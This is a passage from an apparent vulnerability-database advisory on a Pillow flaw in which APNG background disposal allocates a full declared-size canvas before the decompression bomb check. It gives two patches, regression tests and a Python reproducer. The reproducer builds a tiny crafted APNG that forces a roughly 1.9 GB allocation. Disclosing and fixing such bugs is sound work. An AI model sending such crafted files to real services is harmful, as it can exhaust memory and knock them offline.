Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\nAt that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame\u0027s values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range.\n\n**Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`\u0027s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` \u2014 up to about 2\u00d7`MAX_IMAGE_PIXELS`\u00d74 bytes (660 MB for a 13000\u00d713000 full-frame `fcTL`, with `DecompressionBombWarning`) \u2014 and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`\u0027s own check.\n\nWith either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind.\n\n## The patch (1 of 2)\n\nCreate the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..24fa587c1 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The patch (2 of 2)\n\nBomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..0111a17d7 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):\n                 msg = \"image not found in APNG frame\"\n                 raise EOFError(msg)\n         if dispose_extent:\n-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent\n+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent\n \n         # setup frame disposal (actual disposal done when needed in the next _seek())\n         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n         elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n+            # only dispose the extent in this frame, rather than filling an\n+            # image of the declared size before Image.open() has been able to\n+            # run the decompression bomb check\n+            x0, y0, x1, y1 = self.dispose_extent\n+            dispose_size = (x1 - x0, y1 - y0)\n+\n+            Image._decompression_bomb_check(dispose_size)\n+            self.dispose = Image.core.fill(self.mode, dispose_size)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 3,564 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nImage.open() on a 126-byte APNG allocates and zero-fills a full canvas of the\nheader-declared size *before* Pillow\u0027s decompression-bomb check rejects it.\n\nWe build two PNGs that are identical except for one byte, the first fcTL\nchunk\u0027s dispose_op:\n\n    control: dispose_op = 0  (OP_NONE)\n    attack:  dispose_op = 1  (OP_BACKGROUND)\n\nBoth declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS\nerror threshold), so Image.open() must reject both with DecompressionBombError\n-- and that check exists precisely so the rejection is cheap. For the attack\nfile, PngImageFile._open() -\u003e _seek(0) first runs\nImage.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the\nbomb check reached.\n\nEach file is opened in a fresh interpreter that reports its own peak RSS.\n\"\"\"\nimport struct\nimport subprocess\nimport sys\nimport zlib\n\nSIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas\n\n\ndef chunk(cid, data):\n    crc = zlib.crc32(cid + data)\n    return struct.pack(\"\u003eI\", len(data)) + cid + data + struct.pack(\"\u003eI\", crc)\n\n\ndef build_apng(dispose_op):\n    ihdr = struct.pack(\"\u003eIIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA\n    actl = struct.pack(\"\u003eII\", 2, 0)  # animated: 2 frames -\u003e _open() calls _seek(0)\n    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL\u0027s bounds check),\n    # delay 1/10 s, the dispose_op under test, blend_op 0\n    fctl = struct.pack(\"\u003eIIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)\n    idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\")  # one 1x1 RGBA scanline\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl)\n            + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\"))\n\n\n# What an application does with an untrusted upload: Image.open() with default\n# settings, no load(). Prints the outcome and this process\u0027s peak RSS in MB.\nOPEN_UNTRUSTED = \"\"\"\nimport io, resource, sys\nfrom PIL import Image\ntry:\n    Image.open(io.BytesIO(sys.stdin.buffer.read()))\n    outcome = \"opened\"\nexcept Exception as e:\n    outcome = type(e).__name__\nprint(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)\n\"\"\"\n\n\ndef open_in_child(data):\n    p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data,\n                       capture_output=True, timeout=60)\n    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug\n        return \"oom-killed(rc=-9)\", None\n    if p.returncode != 0:  # anything else is a harness failure, not evidence\n        print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\")\n        print(\"child failed unexpectedly (rc=%d)\" % p.returncode)\n        print(\"OK\")\n        sys.exit(1)\n    outcome, peak_mb = p.stdout.split()\n    return outcome.decode(), int(peak_mb)\n\n\ncontrol = build_apng(dispose_op=0)\nattack = build_apng(dispose_op=1)\n\nc_outcome, c_mb = open_in_child(control)\na_outcome, a_mb = open_in_child(attack)\n\nprint(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\"\n      % (len(attack), SIZE, SIZE))\nprint(\"  control  dispose_op=0 OP_NONE        -\u003e %-22s peak RSS %5s MB\" % (c_outcome, c_mb))\nprint(\"  attack   dispose_op=1 OP_BACKGROUND  -\u003e %-22s peak RSS %5s MB\" % (a_outcome, a_mb))\n\n# Expected: both rejected at roughly interpreter size. Bug: the attack file\n# made the \"cheap\" rejection cost a full-size canvas (or killed the process).\nif a_mb is None or (a_mb \u003e= 1000 and a_mb \u003e= 20 * c_mb):\n    print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\"\n          % (SIZE, SIZE))\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n\u003c/details\u003e\n\n---",
  "id": "BREW-aider-CVE-2026-112399",
  "modified": "2026-10-22T09:13:55Z",
  "published": "2026-10-22T09:13:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: APNG background disposal allocates full canvas before decompression bomb check",
  "upstream": [
    "GHSA-5xm2-6676-qcp9",
    "CVE-2026-112399"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.